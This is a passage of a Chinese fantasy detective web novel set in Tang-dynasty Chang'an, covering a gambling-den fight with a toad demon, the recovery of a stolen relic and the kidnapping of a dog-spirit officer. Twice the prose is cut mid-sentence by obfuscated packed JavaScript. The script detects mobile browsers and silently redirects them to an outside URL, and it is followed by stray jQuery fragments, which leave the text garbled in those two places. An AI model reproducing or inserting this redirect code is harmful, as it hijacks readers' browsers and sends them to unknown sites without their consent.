“你们几个联起手来欺负你爷爷!大爷我今天不玩了!” 只见中间的大圆桌上,一个壮硕的男子拍桌而起。 舒慈从未见过长相如此丑陋之人——又大又宽的脸上,长了一双又突又鼓的眼睛,咧开一张又大又厚的嘴,两腮长满了脓包,个子矮小,双腿却健硕无比,几乎快把裤子撑破。 其他几个赌客根本不惧,将手中的骰子往他身上一甩:“愿赌服输!欠债还钱!天经地义!” 那男人转身想跑,却撞到了壮汉守卫身上,自知跑不了了,他便抱拳求饶道:“几位好哥哥,我今日确实再拿不出一分钱……” “那便去借啊!” “拿不出钱,你今日别想走出这间屋子!” 杜月恒拍了拍她,示意往二楼去找柳容烟。舒慈点点头,刚收回视线,却又听到那难听的声音道: “各位哥哥,我真的没钱了。不行,就只有把这个给你们了……这是我好不容易得来的宝物——一颗舍利!” 舒慈猛一回头,赌坊一时之间鸦雀无声,所有人的视线都集中在他手上—— 只见他从衣服里掏出一个灰白色、坑坑洼洼、有鹌鹑蛋那么大的圆球,平平无奇,看不出任何神奇之处。 “这是青龙寺高僧的舍利子!只有无上功德的高僧,才能烧出这么完美的舍利子!这在全大唐,不,全天下都是独一无二的!有了这颗舍利,便是立刻能长十年、百年的修行,得道成仙,指日可待!我看抵我这五百两银子绰绰有余……” “打发叫花子呢!” 不知哪个赌客高喊一声,接着,守卫便一拳“咚”地招呼到他那张肥硕的脸上,男人应声倒地,几个壮汉围上去对他拳打脚踢。 “打得好!打得好!” 那男人捂着头,在地上翻滚,还不忘大喊: “你们懂什么!有眼无珠的痴人、呆人、蠢人……哎哟……” 热闹看够了,杜月恒又拉了拉她。 舒慈摇了摇头,低声凑在他耳边道:“那舍利子,正是牡丹遇害那晚青龙寺失窃的。我得会会那男的。你和敖瑞先上去,一会我们门口汇合。” 说完,又戳了戳敖瑞肚子前的暗兜。三宝从里面露出一个头,趁人不注意,一眨眼便飞到了横梁上。 注:日语的动词在最后,杜月恒没听明白,学了三个月N5不及格水平。 12. 第七回 赌坊(中) 两个壮汉,一左一右,架起那丑男人就往外走。 只见他们抓着男人荡了两下,把他重重地扔在地上。一个又补上一记窝心脚,疼得他躺在地上龇牙咧嘴,但嘴上依旧骂骂咧咧。 见两个壮汉又要动手,舒慈赶忙上前道:“这位大哥,我看你方才拿出来的舍利似乎确实是好东西。” 丑男人抱着肚子打滚,一听这话,立马坐起来,正色道:“这位公子,我看你是识货的,不像里面那些东西,个个都是不识好歹的睁眼瞎。” 他那双突眼睛上下打量了舒慈两圈,又道:“公子一看就是好生气派,富贵人家,难怪见多识广!我这宝物也不跟您乱喊价,您要是诚心的,给我一千两银子,咱们就痛痛快快,一手交钱,一手交货。” “我呸!”舒慈背着手,绕着这男人慢慢踱步,“你刚刚在里面用这个抵五百两的债,到我这卖一千两,你直接被打死得了!” 那男人坐在地上抱拳,赔笑道:“公子,刚刚情况紧急,和现在自然不是一个价钱。您也知道,这东西是无价之宝,我要您一千两,已经是折上折了!” 舒慈冷哼一声:“少来!你这东西是真是假还不知道呢!” “哎哟哟!”男人作痛心疾首状,又从胸口摸索出那个灰白的珠子,“您自己看看!” 他用两根短肥的手指将舍利子捏起来。对着灯光给舒慈展示:“你离近一点,这舍利发色油润,颜色素白淡雅,一看就是得道高僧才烧得出来的颜色。来,你闭上眼睛仔细感受,便能感知到那高僧功德无上,随喜圆满,啧啧啧……” “这么看着,品相确实不错。”那石头一样的珠子哪看得出什么品质,舒慈糊弄道: “刚刚你说,这舍利是青龙寺的,你是怎么弄到的?” “我怎么得到的,公子您就别管了,反正这是从青龙寺里面取出来的,货真价实!童叟无欺!我碧波仙人从不骗人!” 舒慈听了这名字忍不住嗤笑出声,伸手就想去拿那舍利子,却被他一下躲过。 碧波仙人将舍利子紧紧护在胸前,警惕道:“公子,我这东西只能看,可不能随便碰。你若真是好奇,要不先给我一百两定金?我拿给你看清楚,你确定要了,再把剩下的九百两给我?” 舒慈这下懒得再与他虚与委蛇,一出手便抓住他拿着舍利的手腕,左脚朝他胸口一踹,将他踩在地上,动弹不得。 她左瞳金光一闪,那丑陋的脸后面浮现出红光。舒慈这才瞧明白了他的真身—— 一只巨大的蟾蜍,正趴在地上,吐出肥硕的舌头。 “好你个□□精!”舒慈怒吼一声,“说!你这舍利子到底怎么来的!给我从实交代!” 那旁边两个壮汉见了此情此景,俱是一脸茫然。 碧波仙人闻言,像被人打了一巴掌似的,“呱”了一声。接着,那双突出的眼睛越鼓越大,肥脸像是融化了一般,像肉泥一样摊开。 “呱!你到底是谁?竟看得出爷爷的真身!” 舒慈抓的那只手腕也开始生出粘液,变得滑腻腻的,像泥淖一般顺着她的手往下滑,怎么也握不住。眼看那舍利子也要跟着滑走—— 突然舒慈耳边传来“簌簌簌”的声音。 三宝扇着翅膀,喙一伸,便衔住了舍利子,然后稳稳地落在舒慈头上。 “呱!呱!呱!” 那一摊肉泥渐渐团成一个黑色的泥球,接着,那泥球变成了一只足有一尺半大的青黑色蟾蜍。它狂怒道: “把舍利子给爷爷还回来!” 说罢,巨嘴一张,弹出一条肥腻的舌头,直接往舒慈头上招呼。 三宝灵巧地一飞一躲。舒慈反应迅速,一手扯住那长舌头,顺势在手上绕了两圈。 蟾蜍吃痛,想将舌头收回去,它力气极大,拽了舒慈一个趔趄。她不得不腿一伸,蹬住它的肥脸,刹住车,不让它继续收回。 围观的两个守卫,吓得魂飞魄散,转身便往赌坊里跑,高喊道:“有妖怪!!□□成精了!来人啊!!帮忙!!” 这叫喊声惊动了整个赌坊,几个壮汉赶忙抄起立棍便冲了出来。赌客们也纷纷跑出来看热闹,敖瑞混在人群中从二楼跑了下来。 敖瑞见舒慈正和大蟾蜍僵持不下,众人皆是不敢上前,立马借了根棍子,往那碧波仙人的大脑袋上狠狠一敲。 “咚”的一声,它舌头一软,便晕了过去。 舒慈放开它,刚要上去查看,却见它舌头一缩,翻身一跃,跳出了一丈高,趴在了围墙上。 “呱呱!”他那肥腻的身影映在微弱的月光里,声音沙哑又难听,“爷爷这就叫金蟾假死,速速脱身!你这个小白脸,给爷爷等着吧!” 语毕,转身一跃,不知所踪。 *** 这边厢,杜月恒带着敖瑞摸上了二楼。 二楼比起一楼,安静了许多,浓重的香薰味扑鼻。空间狭小,仅摆放了五张桌子,中间用几扇金屏风隔开。虽然也是人声鼎沸,但围坐的人皆是衣冠华美,优雅从容。四周站岗的壮汉衣衫整洁,文质彬彬。 杜月恒和敖瑞在这几张屏风间转来转去,很快便引起了壮汉的注意,一个上前来问道:“二位公子,可是来找的人的?” 杜月恒打了个哈哈,便看到对面的一张桌子正坐着柳容烟。 她刚来不多久,已经挽起袖子,玩得眉头紧皱,愁容满面。 这壮汉的走动也惊动了她,她抬眼一看正对上了杜月恒的目光。霎时间,她愁容一扫,换上谄媚的笑脸,朝他们招了招手:“杜公子,这边,这边!” 杜月恒无奈,只能和敖瑞硬着头皮走过去。 敖瑞急了,扯了扯他的衣角:“杜公子,真要跟柳容烟一起玩啊?” 杜月恒面上镇定,心里暂时还没有主意,又怕这胆小狗临阵脱逃,便从袖子里掏出一枚金锭,悄悄塞到敖瑞手上:“咱们先看看什么情况,一会相机行事。放心,你拿着,赢了算你的,输了算我的。” 那柳容烟见他们落座,笑容夸张,温柔甜蜜地问道:“杜二公子,今日也是来玩 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敖瑞接了牌,并不怎么思考——当然主要也是因为不会,便按照性子明牌、喊牌,可这一招或许是出奇制胜,又或许是狗带财,连着好几圈,竟是都让敖瑞赢了其他几家。 柳容烟越玩,脸色越青,可能因着这敖瑞是她招来的肥羊,她脸上挂不住,便处处与敖瑞作对。敖瑞叫大,她便叫小;敖瑞扣牌,她便要明牌;敖瑞叫索子,她便硬要叫十字。可是,把把都输给敖瑞。 其他两家赌客见这新手自带气运,便跟着敖瑞叫牌,柳容烟气急败坏,赌注是越加越多,牌是越打越乱,几圈下来,四家欢喜一家愁。她手里的筹码一时间竟输了个精光! 杜月恒暗暗为敖瑞叫好,又替他捏了把汗,担心若下一把他的运气耗光了,手中就没有与柳容烟谈判的筹码,刚想找个借口结束这牌局,便听到一楼一阵骚乱,有人大喊道:“有妖怪!!□□成精了!!!快来帮忙!!” 一听有妖怪,几个壮汉便冲了下去。敖瑞也忍不了了,“噌”地一声站起来:“我不玩了!我得下去帮忙!” 柳容烟急了,声音不似先前温柔,尖叫道:“赢了就想走?!天底下哪有这么好的事!” “我现在帮忙要紧!这牌我看你输了不少,你怎么还要打啊?”敖瑞拱了拱手,自以为礼貌道。 柳容烟一张脸气成了猪肝色,一把抓住敖瑞:“不行!!今天谁也不许走!” “你怎么这么不讲道理!”敖瑞手一甩,便往下走:“行行行,这筹码谁也不许动!我一会再来和你杀个痛快!” 那另外两个赌客见敖瑞一走,便也跟着下楼看热闹。 杜月恒跟在他们后面,却等在楼梯口的阴影里,瞧着刚刚那张桌子。 果然,柳容烟等二楼的人全跑去看热闹时,立马伸手往桌上的筹码而去。 杜月恒轻手轻脚地走过去,一把逮住她,高声道:“柳老板,这偷东西可要不得!” 柳容烟吓得花容失色,尖叫着想要甩开手:“杜二公子!你这是干嘛!” 13. 第八回 赌坊(下) 杜月恒绷着一张脸,沉声道:“柳老板,我杜月恒不是不讲道理的人。这江湖上讲究的就是互帮互助,同气连枝。你帮我做一件事,我便不会害你,不仅不害你,我还当作没看见你偷拿人家筹码,而且,我只拿回本金,你输的钱再原数奉还。” 柳容烟柳眉倒竖,气得五官乱飞,破口大骂:“好你个杜月恒,肯定是找了个会玩的托,装模做样,骗老娘下注!亏你还是宰相家的二公子,怎么行事如此龌龊下流!那跑了的也是个腌臜的小痞子,你们通通给老娘去死!!!” 杜月恒当没听到,也不放开她的手腕,只是坐在旁边,看着她咒骂:“你再骂一会,那几个守卫的回来,我可就告诉他们了。” 柳容烟见挣脱不过,另一只手一拍桌子:“行吧!你说吧!到底什么事!犯得着这样吗?!” “你善和坊那套房子,抵押给了谁?你知不知道现在是谁在用?” 这倒把柳容烟问懵了,没想到竟是为此事:“那房子我半年之前赌输给了一个倭国人,名叫什么晁不疑的。你问这个干嘛?” “那晁不疑可曾见过牡丹?” 柳容烟摇摇头:“这我不清楚了,这个个姑娘的客人我怎么可能都记着?你要想知道,我只能回去查查。” “好,那你就把牡丹这半年之类见过的客人名录全给我。” 柳容烟气得不行,只道他是不可理喻:“你搞这半天竟是为了牡丹?!杜二公子,你搞搞清楚,你们是恩客公子!最忌的就是爱上我们!” 杜月恒懒得同她解释,将她的手一甩:“少废话,你把名录备好,我明天自会到拂花楼来取。” “好好好,杜二公子一言既出驷马难追,我明天等着你便是。” 她嘴上敷衍着,双手却不老实,又往桌上的筹码伸。 “哎,”杜月恒眼疾手快,一把又将她按住,“柳老板,这钱你现在拿回去,明日我再找你,你的东西拿不出来怎么办?” 柳容烟气得直拿眼睛瞪他。 杜月恒找来纸笔,按照桌上的筹码掐指一算:柳容烟正好欠他一千二百两。他写好了借契,让柳容烟签字画押,然后便取回桌上自己的两枚金锭,扬长而去。 舒慈与敖瑞、三宝正蹲在那破败的店铺外的墙根处等他。 四人互通有无后,便约好明日分头行动:舒慈往天仁寺,杜月恒去拂花楼。 *** 第二日,舒慈一早没去大理寺点卯,先去了天仁寺。 离佛诞节又近了几日,寺里比上次更加忙碌。大殿宝幢焕新,彩灯高悬,每尊佛像皆被擦拭得金光闪闪,静穆庄严。 舒慈报了舍利子一事,觉顺大师立刻快步迎了出来,向她双手合十欠身行礼道:“舒施主,听说师兄的舍利找到了。” 舒慈拿出那枚灰白色的珠子交给觉顺大师:“还请大师分辨真伪。” 觉顺小心翼翼地捻起来,对着阳光好一阵检查,然后深深鞠了一躬:“阿弥陀佛,这正是青龙寺所遗失的舍利。舒施主,多谢,多谢!……只是,还想请问,与舍利一起的经卷可有发现?” 舒慈赶忙将他扶起,向觉顺讲述了从那蟾蜍精手里得到舍利的经过。不过,这经卷还未找到,只能待逮住这蟾蜍精才能知其下落。 她忽又想起一事,便问道:“觉顺大师,还想请问,高僧舍利是否真的能助长妖怪修为?” 觉顺大师点点头,又摇摇头:“舍利是为佛家至宝,世间所存不多,皆凝结高僧无量功德。普通信徒瞻仰祈祷,都能得到无上觉悟。我想对妖怪来说,应该也是修炼的宝物。但是,人与人素养禀赋不同,有人不靠外力亦可以领悟无上智慧,有人得到舍利、法器仍是不能开化,兴许,妖也是如此。” 舒慈这才反应过来,原来青龙寺的石头妖怪,就是因为石像肚子里有一颗高僧舍利,阴差阳错地借了高僧之势,才会在佛海经山之中仍能修炼成妖。 觉顺大师又道:“舒施主,悟尘师傅因着舍利与经书被盗,还在金吾卫处。” 舒慈点了点头,便想告辞。 见她要走,觉顺大师最后欠了欠身:“舒施主,五日之后便是佛诞节。天仁寺敬邀舒施主光临。” 舒慈笑着抱拳拱手,全当答应,之后便往左金吾仗院而去。 听说高僧舍利失而复得,范长风小跑出来相迎。 舒慈又将昨日与蟾蜍精缠斗得到舍利之事如实相告。 范长风听到这案子里又冒出妖怪来,本来舒展的脸上又拧起了眉头。 舒慈一阵悔恨,只怪自己不该供出那碧波仙人是只□□精。本来牡丹案的案中案,按理应由大理寺办理。这金吾卫自己抓去了悟尘,理应继续追查舍利经书的下落。可这突然生出妖怪,又应当移交缉妖司,由大理寺处。 所谓多一事不如少一事,牡丹案还未完结,舒慈又被晁不疑一事搞得焦头烂额,自然希望金吾卫接着这摊子。 幸好,范长风为人干脆,思考之后,不做推辞,立刻请画师来,将舒慈所述碧波仙人长相画下。将通缉令制好,立刻下发全城。 范长风将舒慈送出,又感谢道:“舒司务,这次多谢你,我们这几日正急着追查那舍利和经书,毫无头绪,幸好你找到了这蟾蜍精。” 舒慈答:“范郎将客气了。我是运气好,查另一案时刚巧碰上的。还想请问,舍利经书一案,本是大理寺按牡丹案合并处置,为何金吾卫要接手?” 范长风欲言又止,似是另有隐情,但仍抱拳道:“舒司务,舍利之事,范某感激不尽。若他日舒司务有难,我定当竭尽所能相助。” 舒慈见他不答,便笑道:“行,范郎将,那到时候,我可不会客气。” 她转身便离开。 刚走没几步,却看到天边飞来熟悉的身影。 三宝飞得火急火燎,落在她耳边大喊道:“阿慈!不好了!!敖瑞不见了!!!!” “敖瑞不见了?!” “他今日一早没来点卯,我以为他生病了,便飞去他家,却没有见着人影。”三宝上气不接下气,声音颤抖道: “我就化成人形,四处询问了,都说不知道。还是一个街坊家的孩子看到,他一早出门,便被不知道哪来的几个男的,麻袋一套,挨了两棍子,给劫走了!” “劫走?!” 舒慈耳边仿佛“轰”的一声,脑海中如雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766487|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崩海啸,眼泪几乎快不听使唤地涌上来——谁会劫走敖瑞呢?他们知道敖瑞是妖吗?若是敖瑞情急之下变身,他们会把它当作妖怪吗?敖瑞那么胆小……可现在考虑不了那么多了,舒慈面上仍是从容道:“三宝,你去找杜月恒。我去找金吾卫帮忙,先把人找到了再说!” *** 今日稍晚时候,杜月恒按约定与舒慈分头行动,去了拂花楼。 快到午时,拂花楼还没开门迎客,只有几个小厮在大堂洗洗扫扫。杜月恒拦下来一个便问:“你家老板今日可在?” 那小厮摇摇头,也奇怪道:“按说平日里,老板辰时就到了……今日或许有事耽搁了。” 杜月恒瞄了一眼二楼,厢房紧闭,气氛说不出的古怪。 他心道这柳容烟真是敬酒不吃吃罚酒,便长腿一抬,大喇喇地坐在大厅正中间,一拍桌子道:“你们谁去通知你家老板,我杜月恒重重有赏。告诉她,杜二公子今日在此等着她,她不来,我便带着借契去报官!” 一个小厮听了,扔了扫帚就往柳宅而去。那人前脚刚走,三宝便飞了进来。 她还来不及落在杜月恒肩上,便以十万火急之势开口:“杜公子,敖瑞被人劫走了!!” 杜月恒一惊,又听三宝讲了个大概,心中便有了判断:柳容烟没来拂花楼,敖瑞又被劫走,定是这女的将敖瑞当做在赌场混的,昨日做了杜月恒的托,骗了她的钱财,这才睚眦必报。 杜月恒咬牙切齿,立刻飞身追上了那小厮,往柳容烟府上而去。 到了门口,杜月恒抬手便是“哐哐哐”砸门:“柳容烟!!柳容烟在吗!!” 那门隙开一条缝,露出一个应门的下人。杜月恒顾不上那么多,抬脚将门踹开,那下人被弹飞在地上,哎哟哎哟地直叫唤。 杜月恒这么一闹,屋子里钻出几个人,都躲在一边,不敢上前。 又迎出来一个婆子,倒是神色镇定,好似见惯了大风大浪,开口问道:“这位公子,寻我家小姐何事?” “柳容烟在吗?” 那婆子又是一阵敷衍:“我家小姐今日一早便去了那拂花楼……” “你家小姐根本不在拂花楼!” 那婆子不怕:“这位公子,有话好好说,你这样又是砸门又是打人的,我现在便去报官!” 杜月恒气急攻心,懒得与她多费口舌,掏出那张借契,转了一圈与那些下人展示道:“你们都给我看清楚,我手头有柳容烟的借契,她欠着我一千二百两银子。 “今日谁告诉我柳容烟去了哪,我便分他二百两!” 下人之间面面相觑,杜月恒仿佛等了一百年那么久,终于看到那躺在地上的缓缓举起了手。 “好!” 杜月恒抓着他的手,将他拎起来:“你说,柳容烟去了哪!” 那人咽了咽唾沫,颤抖着说道:“……今日不到辰时,万年县不良人来了个人找了我家小姐……我没听太清楚,只知道好像说是,人抓到了,让小姐速速前去……” ——小剧场一则—— 舒慈:(内心崩溃)敖瑞不会被做成狗肉煲吧??(面上镇定)速速前去救下我的队友! 14. 第九回 打狗看人面 敖瑞今日按往常的时辰出了门,行过熟悉的小巷,正要走上大道。没想到,一边的巷子口里忽然冲出两个魁梧的身影,往他头上麻袋一套。 敖瑞两眼一黑,后脑勺“嘭嘭”地两下,便没了知觉。 待到再见光明,便是有人将麻袋揭开,泼了他一碗水。 他稍一清醒,便想变身为犬,却发现自己被牢牢绑在椅子上,动弹不得,后脑勺钝痛,难以施展。 他挣扎着睁开眼,模模糊糊地看见眼前立着一个彪形大汉,身长近六尺,蓄着大胡子,神色阴沉恐怖。他一左一右分别站着两个比他还高的壮汉,正是拐他的两个人,都梳着盘头长辫,一看就是胡人长相。他们抱着手,板着脸瞪着敖瑞。 “你看看,是这个人吗?”那大胡子阴恻恻地开口道。 他侧身,闪出一个女人,身姿婀娜,风韵犹存。敖瑞将脸上的水甩干,仔细一看,正是柳容烟。 柳容烟走近,抬起敖瑞的下巴一番端详,不等他出声,便冷哼一声,一抬手扇了他一耳光,大骂道:“就是你这个小痞子!昨日和杜月恒合起伙来骗老娘的钱!” 敖瑞顺着力道偏了偏脸,这巴掌于他如风吹杨柳,不伤他分毫,张口喊道:“谁骗你钱了!谁是小痞子!你知不知道……” 后半句话还没说完,柳容烟便朝左边的壮汉道:“给我打!” 那壮汉看了眼大胡子,大胡子点了点头,他便走上来,照着敖瑞的肚子就是狠狠一拳。这一拳力道十足,椅子都被打得向后退了半寸。 没想到这壮汉是有功夫在身的,敖瑞没有准备,硬是用丹田接了这一下,只觉得全身气血乱窜,痛得直想弯腰,却被紧紧缚住。 他低下头去,龇牙咧嘴地接着说:“……我是大理寺的。” “你是大理寺的?”柳容烟冷笑一声,“我还是杨贵妃呢!你还不老实是吧?再给我打!” 那右边的壮汉又上前,朝着敖瑞面门挥起右拳。这次敖瑞有了准备,一偏头,却还是没躲过,连人带椅子翻到在地上。登时鼻子血流如注,眼冒金星,虚弱道: “我身上有文牒……再等一会……必有人来寻我……到时候你们……等着吧……” 两个壮汉听了一愣,退到大胡子身后。大胡子皱起眉,询问似的瞪柳容烟一眼。 柳容烟冷笑一声,又骂道:“你小子不就是收了杜月恒的恩惠,圣人明文禁止官员赌博,他倒好,大摇大摆地进赌场,还带着一个托,招摇撞骗!你现在还假冒大理寺官差,更是罪加一等!” 见敖瑞倒在地上梗着脖子,颇有宁折不弯之态,她又循循善诱道:“不过,你别怕,我们今日也不是冲着你来的。你只要供出,是杜月恒收买的你,故意骗人钱财,我们便放过你。” 敖瑞艰难地昂起脸,喘着粗气,柳容烟便伸过头去。 敖瑞在她耳边道:“……我呸!” 柳容烟气急败坏,扬手又想给他一下子,被大胡子拦下。 大胡子蹲下来,伸手在敖瑞的兜里摸索了一会,果真摸出了一枚文牒,上书大字:大理寺查案。 他“啧”了一声,把文牒往地上一甩,责备地瞪着柳容烟。 柳容烟惊叫一声:“他怎么还真是大理寺的啊?!这大理寺的和杜月恒勾结,在赌场骗钱啊?!” 敖瑞头放回地上,百折不挠地骂道:“你到底听不听得懂人话……”” 不等他继续骂道,大胡子便抬手就是一掌,将敖瑞打得头晕目眩,喉头发甜,在彻底昏迷之前他只听到柳容烟惊慌失措道: “阿烈,我真不知道他是大理寺的啊!这下怎么办?!你可跟高大人说好了……待这痞子认了杜月恒指使他行骗,便可在圣人面前狠狠地参那杜谌义一本……” “你急什么,”那大胡子道,“一会你先……” 高大人?哪个高大人?杜谌义又是谁?……敖瑞既没想明白,也还没听明白,眼前又是一黑,再次昏迷不醒。 *** 杜月恒带着三宝,提溜着那看门的,直奔万年县县衙而去。 那万年县县令见了杜月恒又杀了回来,眼皮又是一跳,不知这公子又有何事。 杜月恒直接问道:“你们万年县不良帅在吗?” 那县令听了,赶忙答:“杜公子原来找的是胡阿烈啊,他今日暂时没来,想是在外面当差……这回又是什么案子?可是要寻胡阿烈帮忙?” 杜月恒道:“今日有急案,大理寺的人失踪了,跟柳容烟和她的相好——万年县的不良帅,脱不了关系。” 县令心想,这大理寺地跟你宰相公子有什么关系?嘴上却说:“杜公子,这话可不敢乱说啊!咱们万年县县衙上的,怎么又扯上了失踪案?” 杜月恒将那看门的抓出来,令他将今早不良人找柳容烟的事说清楚。 那县令听了,胆战心惊,赶忙撇清关系,将杜月恒带到县衙后面不良人办公审理之处,自然是没有敖瑞的踪影。 杜月恒直怪自己脑子愚笨,那柳容烟的情人,万年县的不良帅,自然是不可能将人带回衙门的。他转念一想,便又要看胡阿烈和柳容烟的房契。 县令急了:“杜公子,怎么又要看房契啊?” 杜月恒道:“他们劫走了人,肯定得把人带到一个地方,既然不在你这衙门里,长安城内他们还能去哪?” 县令无言,又令房契司的查房契。只是,没有找出胡阿烈的登记,却又找到柳容烟还有除了善和坊外,另外三、四套房产。 杜月恒心中算道,胡阿烈是不良人,虽不算朝廷正式命官,却掌握着万年县的治安,定是他一直护着拂花楼。柳容烟傍上了这靠山,自然要代胡阿烈持着从黑白两道捞来的财产。 三宝站在他肩上,看着这一张张房契,毫无头绪道:“杜公子,这柳容烟这么多房子,会把敖瑞关在哪呢?” 杜月恒答:“三宝,那目击的小孩可有说,那两人劫走敖瑞往哪个方向去了?” “那小孩说,那两人将敖瑞敲晕,带上了一架马车,向北去了。”三宝回忆道。 杜月恒脑海中浮现出长安城地图:长安城街道布局规整,精巧如棋盘,按照东南西北,四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774915|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四方方排列。 敖瑞家住靠东南的永崇坊,若向北走,最近的便是柳容烟一处宣阳坊的房产。 于是,一人一妖马不停蹄地前往。 那房子大门紧闭,三宝飞了进去,巡视了一圈,空空荡荡,敖瑞不在此处。 杜月恒急得来回踱步,若要一间一间搜查柳容烟的房产,这一天就耗尽了,敖瑞能坚持到那时候吗?他心中又仔细勾画出长安城的地图,想象柳容烟那几套房产的具体位置,其他几处要么不在北边,要么距离太远,若不是最近的这房子,他们还会选择哪里呢? 他突然一拍脑袋,茅塞顿开:“永崇坊往北,还有一处地方——拂花楼!” 他想到今日拂花楼之古怪,终于厘清这其中关键:柳容烟根本不知道敖瑞是大理寺当差的,肯定以为他只是个赌场的混混,根本不会料到他失踪后,这么快便会有人寻他,自然将他带到自以为最安全的地方。 他们又转去拂花楼。 三宝从后院飞入,刚巧便在柴房外便听到柳容烟道: “阿烈,这可怎么办?这大理寺的不会死了吧?” 此人正是敖瑞。 *** 敖瑞再醒过来,是被一阵踢门声惊醒的。 那声响极大,敖瑞以为自己见到了神仙下凡,那人逆着光,剪影身姿挺拔,一脚将门踢开,气势如虹。 杜月恒大喊一声:“柳容烟,你有什么恩怨都冲着我来!” 柳容烟尖叫一声。 两个壮汉一左一右窜了出来,一个朝他前胸就是一拳,杜月恒退后,堪堪躲过。另一个朝他下盘便是一脚,将他踢倒在地。杜月恒爬起来,虽然身材不占优势,但好在反应快,左躲右闪,将那两人耍得团团转。 “别打了!把他打伤了,咱们可就有大麻烦了!” 那两个胡人壮汉打得红了眼,根本听不进去。 杜月恒无奈,边躲边抄起墙角的芦柴棍护身,冲敖瑞喊道:“敖瑞!你赶紧变身啊!身子变小了,自然就从这绳子里出来了!” 敖瑞迷迷糊糊中只觉得无语,这杜公子是不是当自己是傻子?若不是被牢牢绑住动弹不得,还挨了一顿毒打,是他自己不想变身吗? 这时,一个壮汉扑过来,想将杜月恒制住。他一弯腰,绕到壮汉身后,照着膝盖处就是用尽全力一击,壮汉痛得蹲下来。另一个也扑过来,杜月恒闪身一躲,他就刚好泰山压顶似的砸在了那弯腰的汉子身上。 杜月恒得了空档,救人心切,扑过来想要解开敖瑞的绳子,却没注意到,胡阿烈一直躲在门后的阴影处。 胡阿烈悄无声息地来到杜月恒身后,举手就是一掌。 杜月恒只觉得天旋地转,后脑勺似要被人劈开,“当”地一声倒在了敖瑞旁边。 柳容烟捂着嘴,颤声道:“阿烈,这是杜大人家的公子……现在可怎么办?!就是高大人来了,也保不住我们啊!” “娘子,你先走,”胡阿烈道,“我留在此处善后。” 柳容烟点了点头,不疑有他,头也不回地便跑出了柴房。 15. 第八回 打狗看人面(下) 却说舒慈这边,三宝一飞走,她便又返回范长风处,将敖瑞被劫一事相告。 金吾卫在长安各坊皆有巡逻,想必找起人来更快。 范长风倒是爽快,既然答应舒慈有忙必帮,便当即问清敖瑞的长相、住址、被劫之处、被劫时间,差了永崇坊的金吾卫搜查。 舒慈感激地抱拳,又匆匆回了大理寺,直奔大理寺少卿李元信之处。 李元信此时正拿着笔,在公文上写写画画。 “李少卿!”舒慈顾不上礼仪秩序,冲进来便大喊一声。 李元信惊得笔一顿,公文上沾起一个墨水点子。 “啧,这又是怎么了。”李元信一张瘦长的脸上拧起两道蚯蚓一样的眉毛,“又咋咋呼呼的!” “敖瑞被人劫走了!” 舒慈又讲了一遍今早所发生之事,李元信听了,气得直吹胡子:“谁敢在长安城动我大理寺的人!可是你们近日查案得罪了什么人?” 舒慈道:“昨日查案,敖瑞碰上了柳容烟,好像有些摩擦……” “柳容烟?”李元信听了,疑惑道,“前几日你不是想彻查拂花楼?” 他随即反应过来,咬牙切齿道:“定是她仗着她那情_人,什么宰相的小舅子,什么万年县的不良帅……否则,谁敢光天化日之下动我大理寺的人!” 少卿就是少卿,八卦消息比舒慈灵通不少。 李元信又奋笔疾书,写了几张帖子拿给舒慈。他从大理寺各部门调了人,见此贴者皆听舒慈差遣。 “话又说回来,你们办案也要注意方式方法啊,”李元信写完,话锋一转,“缉妖司虽然性质特殊,那也要遵守办案程序,不能因为你有这异瞳,就搞特殊吧……” 舒慈目的达到,一边敷衍地点头称是,一边退到门口,刚想转身,便见到三宝直愣愣地飞过来。 她一落地,成了少女样子,气喘吁吁,语无伦次道:“阿慈,李大人,不好了,那人,有三个壮汉,抓了敖瑞,又打了杜月恒,就在拂花楼,赶紧的……” 李元信一听,跳了起来:“杜月恒?!哪个杜月恒?杜家的公子怎么掺和进来了!” 舒慈干笑两声:“杜公子,昨日,与我们一同查案……” “你!净给我惹事!”李元信一拍大腿,伸出食指直往舒慈脑门上点,“还愣着干什么,赶紧去啊!我这就亲自去找杜大人!” 说罢,抢先一步跑了出去。 *** 待杜月恒醒过来,发现自己和敖瑞换了个位置。 这下,他被绑在椅子上,敖瑞被五花大绑,躺在地上。 胡阿烈见他醒了,朝身边两个大汉点了点头,二人便上来给他松了绑。 他后脑勺仍是“嗡嗡”地疼,一边活动着手腕,一边抬眼问道:“你就是胡阿烈?” 胡阿烈点点头,开口道:“杜公子,今日全是误会。” 语毕,身后的两个小山一般的汉子朝杜月恒深深地鞠了一躬。 “误会?”杜月恒冷笑道:“若今日我不寻过来,或者敖瑞不是大理寺的,人早就被你们打死了吧?” 胡阿烈道:“杜公子,人在江湖,身不由己,我也有我的难处。是我们错怪了敖瑞兄弟,以为他是赌场的骗子,办案心急,这才误伤了您。” 杜月恒听他将责任推给办案,便伸出腿来,甩了甩关节,无所谓地道: “你跟我说这些没用。大理寺的人,再过一会就来了,你留着这话跟他们说吧。” 他又活动活动脖子,这柴房光线昏暗,看不清外面天光,只道自己昏迷了不久,三宝现下应该已经找到舒慈了吧?舒慈来了吗? “杜公子,在下办案不力,自有县衙的查处,按不良人的规矩办。我胡阿烈犯了什么错,应当按大唐律令处置,我认罪认罚。” 